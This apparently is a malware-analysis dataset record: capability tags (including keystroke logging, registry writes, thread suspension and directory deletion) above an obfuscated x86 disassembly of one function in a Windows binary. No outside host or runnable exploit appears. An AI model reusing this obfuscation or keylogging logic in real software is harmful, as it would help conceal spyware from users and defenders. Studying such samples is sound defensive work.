Function at 0x10030c2d
Capabilities:
Check os version
Delete directory
Extract resource via kernel32 functions
Get disk size
Get file attributes
Get file system object information
Get system information on windows
Log keystrokes via polling
Parse pe header
Read .ini file
Set registry value
Suspend thread

Disassembly:
mov eax, 0x1008a9de
call fcn.10089710
mov eax, 0x157c
call fcn.100714c0
push ebx
push esi
or esi, 0xffffffff
mov dword [ebp - 0x64], ecx
mov dword [ebp - 0x28], esi
xor eax, eax
mov dword [ebp - 0x24], 0xfffffff7
xor ebx, ebx
mov dword [ebp - 0x50], 0x7d228d5f
inc ebx
mov dword [ebp - 0x14], 0xfffffff8
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x24], 0x69ff4caa
push edi
mov dword [ebp - 0x40], 0x3ec3
mov dword [ebp - 0x20], ebx
push 2
mov dword [ebp - 0x38], 0x3cdc1821
pop ecx
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x38], 0x8915ced7
mov byte [ebp - 0x81], dl
mov dword [ebp - 0x2c], eax
jmp 0x10030cab
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x1438], 0xdb2213aa
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], ecx
jl 0x10030c9a
mov eax, dword [ebp - 0x28]
xor ecx, ecx
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
cmp eax, 0x6974edf0
setg cl
cmp dword [ebp - 0x28], ecx
jge 0x10030ccf
xor eax, eax
cmp dword [ebp - 0x50], eax
je 0x10030cd1
mov eax, ebx
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
add eax, dword [ebp - 0x28]
neg eax
mov edi, dword [sym.imp.KERNEL32.dll_SignalObjectAndWait]
sbb eax, eax
neg eax
cmp eax, esi
mov eax, dword [ebp - 0x28]
sbb ecx, ecx
xor edx, edx
neg ecx
cmp eax, ecx
setg dl
sub edx, dword [ebp - 0x28]
neg edx
sbb edx, edx
xor eax, eax
inc edx
cmp edx, esi
setg al
xor ecx, ecx
imul eax, eax, 0x7c0e
test eax, eax
mov eax, dword [ebp - 0x40]
sets cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x28]
setle dl
xor ecx, ecx
cmp eax, edx
setle cl
xor eax, eax
cmp ecx, 0x31dda87b
setle al
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x50]
xor eax, eax
cmp dword [ebp - 0x24], eax
je 0x10030da0
mov dword [ebp - 0x3c], 0xf8f5
xor edx, edx
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x14]
cmp eax, ecx
setne dl
xor ecx, ecx
imul edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x24]
cmp edx, eax
mov eax, dword [ebp - 0x20]
setne cl
xor edx, edx
cmp eax, ecx
mov eax, dword [ebp - 0x40]
setne dl
xor ecx, ecx
cmp edx, eax
setge cl
mov dword [ebp - 0x24], ecx
jmp 0x10030dc2
mov dword [ebp - 0x24], ebx
cmp dword [ebp - 0x24], eax
jl 0x10030dc2
mov byte [ebp - 0x2d], al
cmp byte [ebp - 0x2d], 0
je 0x10030dbd
push eax
push 0x894
push eax
push eax
call edi
xor eax, eax
dec dword [ebp - 0x24]
jns 0x10030da8
xor eax, eax
lea ecx, [ebp - 0x47c]
mov dword [ebp - 0x3c], eax
push ebx
call fcn.10019343
xor eax, eax
mov dword [ebp - 4], eax
mov dword [ebp - 0x38], 0xfffffffe
mov dword [ebp - 0x38], 5
mov dword [ebp - 0x38], 0x65256810
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], ebx
jge 0x10030e13
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x47c]
call fcn.100193d1
mov dword [eax], 0x5d6c05ba
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], ebx
jl 0x10030df5
xor eax, eax
push eax
lea ecx, [ebp - 0x47c]
call fcn.100193d1
lea ecx, [ebp - 0x47c]
and dword [eax], 0
xor eax, eax
push eax
call fcn.100193d1
mov esi, dword [sym.imp.USER32.dll_GetDC]
mov ebx, dword [sym.imp.USER32.dll_GetDesktopWindow]
cmp dword [eax], 2
jl 0x10030f73
or edi, 0xffffffff
mov dword [ebp - 0x24], 0xb4074dd
xor eax, eax
mov dword [ebp - 0x38], edi
mov dword [ebp - 0x38], 0x9aaed6b6
mov dword [ebp - 0x38], 6
mov dword [ebp - 0x38], edi
mov dword [ebp - 0x38], 0xa9bca7b
mov dword [ebp - 0x38], 0x6b43d271
mov byte [ebp - 0x2d], al
cmp byte [ebp - 0x2d], al
je 0x10030e84
push eax
call dword [sym.imp.GDI32.dll_GetObjectType]
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0x19
jge 0x10030f48
mov dword [ebp - 0x2c], eax
lea ecx, [ebp - 0xd50]
mov dword [ebp - 0x38], 0xfffffffb
push 3
call fcn.10019343
xor eax, eax
inc eax
mov byte [ebp - 4], al
xor eax, eax
mov dword [ebp - 0x3c], 7
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 3
jge 0x10030edf
push dword [ebp - 0x2c]
lea ecx, [ebp - 0xd50]
call fcn.100193d1
mov dword [eax], 0x63ab1943
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 3
jl 0x10030ec0
xor eax, eax
mov dword [ebp - 0x2c], eax
jmp 0x10030f24
mov dword [ebp - 0x38], 0x9598aaf0
mov dword [ebp - 0x38], 0xd5befa1e
mov dword [ebp - 0x38], 0x491ba6b4
mov dword [ebp - 0x38], edi
mov byte [ebp - 0x2d], al
cmp byte [ebp - 0x2d], 0
je 0x10030f1e
push eax
push 0xc09
push 0x2658
call ebx
push eax
call esi
push eax
call dword [sym.imp.GDI32.dll_GetDIBColorTable]
xor eax, eax
inc dword [ebp - 0x3c]
dec dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 0xffffffe2
jle 0x10030ee4
lea ecx, [ebp - 0xd50]
mov byte [ebp - 4], al
call fcn.100193cc
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0x19
push 0
pop eax
jl 0x10030e91
push eax
lea ecx, [ebp - 0x47c]
call fcn.100193d1
lea ecx, [ebp - 0x47c]
inc dword [eax]
xor eax, eax
push eax
call fcn.100193d1
cmp dword [eax], 2
jge 0x10030e48
mov edi, dword [sym.imp.KERNEL32.dll_SignalObjectAndWait]
or eax, 0xffffffff
lea ecx, [ebp - 0x47c]
mov dword [ebp - 4], eax
call fcn.100193cc
or eax, 0xffffffff
mov dword [ebp - 0x50], eax
xor eax, eax
mov dword [ebp - 0x24], 0xd29be1d9
mov dword [ebp - 0x3c], 0xf3d37a5b
mov dword [ebp - 0x3c], 0xfffffffb
mov dword [ebp - 0x44], 0xcb972524
push 4
mov dword [ebp - 0x18], eax
pop ecx
cmp dword [ebp - 0x18], ecx
jge 0x10030fcb
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x1310], 0xc59cdc34
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x10030fb3
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ecx
jge 0x10030feb
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x1328], 0xfd43ddca
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x10030fd3
xor eax, eax
mov byte [ebp - 0x2d], al
cmp byte [ebp - 0x2d], 0
je 0x1003100c
push 0x247e
push 0x15b8
push 0x1238
call ebx
push eax
call dword [sym.imp.USER32.dll_CheckRadioButton]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x1308], eax
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
xor eax, eax
cmp dword [ebp - 0x24], eax
jle 0x10031035
cmp dword [ebp - 0x44], eax
je 0x10031035
lea ecx, [eax + 1]
jmp 0x10031037
mov ecx, eax
mov dword [ebp - 0x1324], ecx
xor edx, edx
mov eax, dword [ebp - 0x24]
cmp ecx, eax
mov eax, dword [ebp - 0x24]
setle dl
xor ecx, ecx
cmp eax, edx
setne cl
xor eax, eax
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x24], 0xfffffff7
mov dword [ebp - 0x48], 0x7d228d5f
mov dword [ebp - 0x18], 0xe0648261
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 3
jge 0x1003108d
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x11cc], 0xe4fc2285
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 3
jl 0x10031074
xor eax, eax
push 0x12
mov dword [ebp - 0x18], 0x13
pop ecx
jmp 0x100310af
mov dword [ebp - 0x3c], 0x446df37d
cmp dword [ebp - 0x3c], eax
jne 0x100310b4
mov dword [ebp - 0x3c], 8
dec dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x10031099
mov dword [ebp - 0x18], 0x15
jmp 0x100310f6
mov dword [ebp - 0x24], 0x72d9ee1c
mov dword [ebp - 0x38], 0x4c59cdc3
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 2
jg 0x100310f3
mov dword [ebp - 0x3c], 5
inc dword [ebp - 0x3c]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x11cc]
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 2
jle 0x100310d4
xor eax, eax
dec dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jne 0x100310bd
mov dword [ebp - 0x14], 0xfffffff8
xor ecx, ecx
mov dword [ebp - 0x1c], 0xfc07e17f
inc ecx
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x2c], eax
jmp 0x10031125
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0xd54], 0x255d
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], ecx
jl 0x10031114
mov eax, dword [ebp - 0x1c]
xor edx, edx
mov eax, dword [ebp - 0x1c]
sub eax, 0xa
cmp eax, 0x2d91
mov eax, dword [ebp - 0x1c]
setge dl
xor ecx, ecx
cmp edx, eax
mov eax, 0xffff
setne cl
cmp eax, ecx
sbb eax, eax
inc eax
cmp eax, dword [ebp - 0x1c]
jg 0x10031159
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x28], eax
mov edx, dword [ebp - 0x1c]
sub edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x28]
push 6
pop ecx
sub ecx, eax
xor eax, eax
imul edx, ecx
cmp edx, dword [ebp - 0x1c]
jne 0x100312a8
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 3
jge 0x100311a6
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x1244], 0xf6cbcb1a
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 3
jl 0x1003118d
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 2
jg 0x100311d7
mov eax, dword [ebp - 0x1c]
cmp dword [ebp + eax*4 - 0x1244], 0
jne 0x100311d5
xor eax, eax
mov byte [ebp - 0x2d], al
cmp byte [ebp - 0x2d], al
je 0x100311cc
call dword [sym.imp.USER32.dll_DestroyCaret]
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jle 0x100311af
xor eax, eax
mov byte [ebp - 0x2d], al
cmp byte [ebp - 0x2d], 0
je 0x100311ff
push 0x1138
push 0x1914
push 0x105d
push 0x6e
call ebx
push eax
call esi
push eax
call dword [sym.imp.GDI32.dll_IntersectClipRect]
xor eax, eax
movdqa xmm0, xmmword [0x1000b1e0]
lea ecx, [ebp - 0x1360]
mov dword [ebp - 0x3c], eax
lea eax, [ebp - 0xfa4]
push eax
lea eax, [ebp - 0xfb4]
mov dword [ebp - 0x2c], 3
push eax
movdqu xmmword [ebp - 0xfb4], xmm0
call fcn.100193e0
lea ecx, [ebp - 0x1d5]
mov esi, eax
call fcn.1000c383
push eax
push dword [esi + 4]
lea ecx, [ebp - 0x11e4]
push dword [esi]
call fcn.100193a2
mov dword [ebp - 4], 2
mov dword [ebp - 0x2c], 0x1b
cmp dword [ebp - 0x2c], 0x19
jg 0x10031365
push 4
pop esi
push esi
lea ecx, [ebp - 0x3b4]
call fcn.10019343
xor eax, eax
mov byte [ebp - 4], 3
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], esi
jge 0x100312a3
push dword [ebp - 0x18]
lea ecx, [ebp - 0x3b4]
call fcn.100193d1
mov dword [eax], 0x690f1d89
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x10031285
xor eax, eax
mov dword [ebp - 0x18], eax
jmp 0x100312ee
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0x2f
jg 0x100311fd
mov dword [ebp - 0x28], eax
jmp 0x100312d2
mov byte [ebp - 0x2d], al
cmp byte [ebp - 0x2d], 0
je 0x100312cf
push eax
call ebx
push eax
call dword [sym.imp.USER32.dll_ShowOwnedPopups]
xor eax, eax
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 2
je 0x100312ba
inc dword [ebp - 0x1c]
jmp 0x100312ab
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x1340], 0x7834d8a9
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x100312dd
push 3
lea ecx, [ebp - 0x3b4]
call fcn.100193d1
push 3
pop ecx
push ecx
mov dword [eax], ecx
jmp 0x10031331
xor eax, eax
mov byte [ebp - 0x2d], al
cmp byte [ebp - 0x2d], al
je 0x10031320
push eax
push 0x1c84
push eax
push eax
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntW]
push 3
lea ecx, [ebp - 0x3b4]
call fcn.100193d1
push 3
dec dword [eax]
lea ecx, [ebp - 0x3b4]
call fcn.100193d1
cmp dword [eax], 0
jge 0x10031308
xor eax, eax
mov byte [ebp - 4], 2
cmp dword [ebp - 0x1334], eax
lea ecx, [ebp - 0x3b4]
call fcn.100193cc
dec dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 0x19
jle 0x1003126b
or eax, 0xffffffff
lea ecx, [ebp - 0x11e4]
mov dword [ebp - 4], eax
call fcn.100193cc
movdqa xmm0, xmmword [0x1000b1c0]
lea ecx, [ebp - 0x14b8]
xor eax, eax
mov dword [ebp - 0x24], 0x69ff4caa
inc eax
mov dword [ebp - 0x58], 0x3ec3
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x10a4]
push eax
lea eax, [ebp - 0x10b4]
push eax
movdqu xmmword [ebp - 0x10b4], xmm0
call fcn.100193e0
lea ecx, [ebp - 0x191]
mov esi, eax
call fcn.1000c383
push eax
push dword [esi + 4]
lea ecx, [ebp - 0x68c]
push dword [esi]
call fcn.100193a2
mov dword [ebp - 4], 4
mov dword [ebp - 0x44], 0xfffffffd
mov dword [ebp - 0x18], 0xf16de6ea
mov dword [ebp - 0x24], 0xec7e011b
mov dword [ebp - 0x28], 0x2d748aee
mov dword [ebp - 0x3c], 0x307758a8
push 0xfffffffffffffffc
pop eax
mov dword [ebp - 0x1c], eax
xor eax, eax
mov dword [ebp - 0x2c], 0x600bf094
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 3
jge 0x1003142c
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x168], 0x7a4a12b5
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 3
jl 0x10031413
xor eax, eax
cmp dword [ebp - 0x164], eax
je 0x10031443
cmp dword [ebp - 0x168], eax
je 0x10031443
xor eax, eax
lea esi, [eax + 1]
jmp 0x10031445
mov esi, eax
push 3
lea ecx, [ebp - 0x68c]
call fcn.100193d1
mov ecx, dword [ebp - 0x44]
xor edx, edx
cmp esi, ecx
setge dl
xor ecx, ecx
cmp dword [eax], edx
setle cl
imul eax, ecx, 0x89b4
test eax, eax
jne 0x10031475
cmp dword [ebp - 0x18], eax
je 0x10031477
inc eax
jmp 0x10031477
xor eax, eax
mov dword [ebp - 0x24], eax
xor edx, edx
mov ecx, dword [ebp - 0x160]
mov eax, dword [ebp - 0x24]
cmp eax, ecx
setl dl
cmp edx, dword [ebp - 0x160]
jge 0x100314a6
xor eax, eax
cmp dword [ebp - 0x24], eax
jne 0x100314a6
push 3
lea ecx, [ebp - 0x68c]
call fcn.100193d1
push 2
lea ecx, [ebp - 0x68c]
call fcn.100193d1
xor eax, eax
cmp dword [ebp - 0x18], eax
jne 0x100314c0
mov eax, dword [ebp - 0x160]
mov eax, dword [ebp - 0x160]
lea ecx, [ebp - 0x68c]
mov eax, dword [ebp - 0x24]
push 2
call fcn.100193d1
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 0x1422
jg 0x100314f9
xor eax, eax
cmp dword [ebp - 0x160], eax
jne 0x100314f9
mov edx, eax
jmp 0x100314fe
xor eax, eax
lea edx, [eax + 1]
mov eax, dword [ebp - 0x168]
xor ecx, ecx
cmp edx, eax
setne cl
xor edx, edx
mov dword [ebp - 0x1c], ecx
mov ecx, dword [ebp - 0x160]
mov eax, dword [ebp - 0x1c]
cmp ecx, eax
setne dl
xor eax, eax
mov dword [ebp - 0x2c], edx
cmp dword [ebp - 0x2c], eax
je 0x1003173e
mov dword [ebp - 0x40], 0x38be40e
lea ecx, [ebp - 0x934]
push 2
call fcn.10019343
xor eax, eax
mov byte [ebp - 4], 5
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 2
jge 0x1003156e
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x934]
call fcn.100193d1
mov dword [eax], 0x4edb
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 2
jl 0x1003154f
xor eax, eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 2
jg 0x100316fd
mov dword [ebp - 0x14], 0xfffb
mov dword [ebp - 0x3c], 0xcbd95d60
mov dword [ebp - 0x1c], 2
cmp dword [ebp - 0x1c], eax
jl 0x100316ea
xor ebx, ebx
inc ebx
push 2
lea ecx, [ebp - 0x470]
call fcn.10019343
xor eax, eax
mov byte [ebp - 4], 6
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x2c], eax
jmp 0x100315cb
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x470]
call fcn.100193d1
and dword [eax], 0
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 2
jl 0x100315b7
mov eax, dword [ebp - 0x1c]
cmp dword [ebp + eax*4 - 0x168], 0
je 0x100315ef
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x40], eax
xor eax, eax
cmp dword [ebp - 0x40], eax
je 0x100315f1
mov esi, ebx
jmp 0x100315f3
xor eax, eax
mov esi, eax
push eax
lea ecx, [ebp - 0x470]
call fcn.100193d1
lea ecx, [ebp - 0x470]
mov dword [eax], 0xb447
xor eax, eax
push eax
call fcn.100193d1
xor ebx, ebx
lea ecx, [ebp - 0x470]
cmp dword [eax], 0xe206
sete bl
xor eax, eax
push eax
call fcn.100193d1
cmp ebx, dword [eax]
jge 0x10031644
mov eax, dword [ebp - 0x1c]
cmp dword [ebp + eax*4 - 0x168], 0
je 0x10031644
xor ebx, ebx
inc ebx
mov edx, ebx
jmp 0x1003164b
xor eax, eax
xor ebx, ebx
mov edx, eax
inc ebx
mov eax, dword [ebp - 0x3c]
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x1c]
push ebx
setge cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x1c]
setl dl
xor ecx, ecx
cmp eax, edx
setg cl
xor eax, eax
mov dword [ebp - 0x44], ecx
lea ecx, [ebp - 0x934]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x14], esi
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x24]
call fcn.100193d1
mov ecx, dword [ebp - 0x14]
cmp ecx, dword [eax]
jge 0x1003169c
xor eax, eax
mov esi, eax
cmp dword [ebp - 0x3c], eax
je 0x1003169e
mov esi, ebx
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
mov edx, dword [ebp + eax*4 - 0x168]
mov eax, dword [ebp - 0x18]
cmp esi, eax
setge cl
xor eax, eax
cmp ecx, edx
jl 0x100316bf
cmp dword [ebp - 0x2c], eax
je 0x100316bf
mov eax, ebx
mov dword [ebp - 0x3c], eax
lea ecx, [ebp - 0x470]
xor eax, eax
mov byte [ebp - 4], 5
cmp dword [ebp - 0x14], eax
jne 0x100316e3
call fcn.100193cc
dec dword [ebp - 0x1c]
jns 0x1003159c
jmp 0x100316e8
call fcn.100193cc
xor eax, eax
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 2
jle 0x1003157b
mov ebx, dword [sym.imp.USER32.dll_GetDesktopWindow]
mov dword [ebp - 0x18], 0xffffffe3
jmp 0x1003172b
mov byte [ebp - 0x2d], al
cmp byte [ebp - 0x2d], 0
je 0x10031728
push eax
push 0x2518
push eax
push 0x15e3
push 0xbc1
call dword [sym.imp.GDI32.dll_ExtCreatePen]
xor eax, eax
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0x38
jne 0x10031706
lea ecx, [ebp - 0x934]
call fcn.100193cc
jmp 0x1003175e
mov dword [ebp - 0x1c], eax
jmp 0x10031758
mov byte [ebp - 0x2d], al
cmp byte [ebp - 0x2d], 0
je 0x10031755
push eax
call dword [sym.imp.KERNEL32.dll_SuspendThread]
xor eax, eax
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jle 0x10031743
or esi, 0xffffffff
lea ecx, [ebp - 0x68c]
mov dword [ebp - 4], esi
call fcn.100193cc
push 2
mov dword [ebp - 0x38], 0x3cdc1821
xor eax, eax
pop ecx
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x38], 0x8915ced7
mov dword [ebp - 0x2c], eax
jmp 0x1003179b
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x1390], 0xdb2213aa
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], ecx
jl 0x1003178a
mov eax, dword [ebp - 0x50]
xor ecx, ecx
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
cmp eax, 0x6974edf0
setg cl
cmp dword [ebp - 0x50], ecx
jge 0x100317bf
xor eax, eax
cmp dword [ebp - 0x48], eax
je 0x100317c2
xor eax, eax
inc eax
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
add eax, dword [ebp - 0x50]
neg eax
sbb eax, eax
neg eax
cmp eax, esi
mov eax, dword [ebp - 0x50]
sbb ecx, ecx
xor edx, edx
neg ecx
cmp eax, ecx
setg dl
sub edx, dword [ebp - 0x50]
neg edx
sbb edx, edx
xor eax, eax
inc edx
cmp edx, esi
setg al
xor ecx, ecx
imul eax, eax, 0x7c0e
test eax, eax
mov eax, dword [ebp - 0x58]
sets cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x50]
setle dl
xor ecx, ecx
cmp eax, edx
setle cl
xor eax, eax
cmp ecx, 0x31dda87b
setle al
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x48]
xor eax, eax
cmp dword [ebp - 0x24], eax
je 0x1003188b
mov dword [ebp - 0x3c], 0xf8f5
xor edx, edx
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x14]
cmp eax, ecx
setne dl
xor ecx, ecx
imul edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x24]
cmp edx, eax
mov eax, dword [ebp - 0x20]
setne cl
xor edx, edx
cmp eax, ecx
mov eax, dword [ebp - 0x58]
setne dl
xor ecx, ecx
cmp edx, eax
setge cl
mov dword [ebp - 0x24], ecx
jmp 0x100318b3
xor esi, esi
inc esi
mov dword [ebp - 0x24], esi
cmp dword [ebp - 0x24], eax
jl 0x100318b0
mov byte [ebp - 0x2d], al
cmp byte [ebp - 0x2d], 0
je 0x100318ab
push eax
push 0x894
push eax
push eax
call edi
xor eax, eax
dec dword [ebp - 0x24]
jns 0x10031896
or esi, 0xffffffff
xor eax, eax
mov ecx, 0x5701
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x48], esi
mov dword [ebp - 0x34], 0x97a4
mov dword [ebp - 0x18], 0xfbefa5f9
mov dword [ebp - 0x44], 9
mov dword [ebp - 0x60], 0x4d2fc5c3
mov dword [ebp - 0x3c], 4
mov dword [ebp - 0xf0], ecx
mov dword [ebp - 0xec], ecx
mov dword [ebp - 0xe8], ecx
mov dword [ebp - 0xe4], ecx
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 3
jge 0x1003191d
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x77c], 6
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 3
jl 0x10031904
xor eax, eax
cmp dword [ebp - 0x34], eax
je 0x1003193f
mov ecx, dword [ebp - 0x34]
xor edx, edx
mov dword [ebp - 0x77c], ecx
mov eax, dword [ebp - 0x34]
cmp ecx, eax
setg dl
imul edx, dword [ebp - 0x34]
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x44]
xor eax, eax
cmp dword [ebp - 0x77c], eax
mov dword [ebp - 0x2c], eax
jne 0x1003196b
xor ecx, ecx
inc ecx
jmp 0x100319df
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0xff4], 0x632c5b64
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 4
jl 0x1003195a
mov eax, dword [ebp - 0xfec]
mov dword [ebp - 0xff0], eax
xor eax, eax
mov dword [ebp - 0x18], eax
jmp 0x100319c3
mov byte [ebp - 0x2d], al
cmp byte [ebp - 0x2d], 0
je 0x10031996
push eax
call dword [sym.imp.KERNEL32.dll_HeapDestroy]
xor eax, eax
mov dword [ebp - 0x34], eax
jmp 0x100319ba
mov byte [ebp - 0x2d], al
cmp byte [ebp - 0x2d], 0
je 0x100319b7
push eax
call ebx
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetBkColor]
xor eax, eax
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], 3
jle 0x1003199b
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jle 0x10031984
jmp 0x10031a59
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x614], 0xa164e62b
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], ecx
jl 0x100319ce
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x614], eax
cmp dword [ebp - 0x60], eax
jl 0x100319f5
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x774]
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x77c], eax
xor eax, eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 0x17
je 0x10031a5c
mov byte [ebp - 0x2d], al
cmp byte [ebp - 0x2d], 0
je 0x10031a35
push 0x46e
push eax
push 0x8f7
push 0x1b97
push eax
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
xor eax, eax
mov byte [ebp - 0x2d], al
cmp byte [ebp - 0x2d], 0
je 0x10031a50
push eax
push 0x247d
push eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
xor eax, eax
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], 0x17
jne 0x10031a12
xor ecx, ecx
inc ecx
mov dword [ebp - 0x24], 0xfffffff7
xor eax, eax
mov dword [ebp - 0x20], 0x7d228d5f
mov dword [ebp - 0x14], 0xfffffff8
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], ecx
jge 0x10031a99
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x2dc], 0xb6bc3ec3
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], ecx
jl 0x10031a81
xor eax, eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 0x19
je 0x10031b72
push 2
lea ecx, [ebp - 0x794]
call fcn.10019343
mov dword [ebp - 4], 7
xor eax, eax
mov dword [ebp - 0x3c], 0x3989226c
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 2
jge 0x10031ae5
